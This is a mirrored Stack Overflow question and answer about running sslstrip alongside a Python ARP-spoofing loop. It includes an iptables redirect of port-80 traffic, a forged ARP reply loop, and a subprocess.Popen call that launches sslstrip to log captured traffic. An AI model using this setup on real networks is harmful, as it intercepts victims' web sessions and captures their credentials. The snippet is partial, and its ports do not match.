【问题标题】:python run 2 processespython运行2个进程
【发布时间】:2015-02-18 08:43:55
【问题描述】:

我已经编写了一个执行 arpspoofing 的程序,现在我想在继续发送 arp 重播的同时调用 sslstrip。

我不确定这是否会更好地使用线程或如何,我只是想知道什么是最简单的解决方案。

这是我尝试过但无法发送 arp 重播的方法(卡在 sslstrip 进程中):

os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000")

os.system("sslstrip -l 1000 -w cap.txt")


while True:
    try:
        time.sleep(2)
        print 'Injecting Arp Replay to '+target+' telling '+host+' is at '+mac
        s.send(packet)

    except KeyboardInterrupt:
        print "bye"
        os.system("iptables -t nat -D PREROUTING 1 ")
        sys.exit(1)

有谁知道如何用简单的方法解决它?

【问题讨论】:

    标签: python multithreading process network-programming


    【解决方案1】:

    您可以使用subprocess module 代替os.system

    您可以将 sslstrip 作为后台任务打开并在脚本结束时终止它:

    import subprocess
    sslstrip = subprocess.Popen(["sslstrip", "-l", "1000", "-w", "cap.txt"], stdout=subprocess.PIPE)
    
    # Run your script
    # ...
    
    # At the end terminate the process (in your KeyboardInterrput)
    sslstrip.terminate()
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2013-10-21
      • 2019-07-16
      • 2017-12-21
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多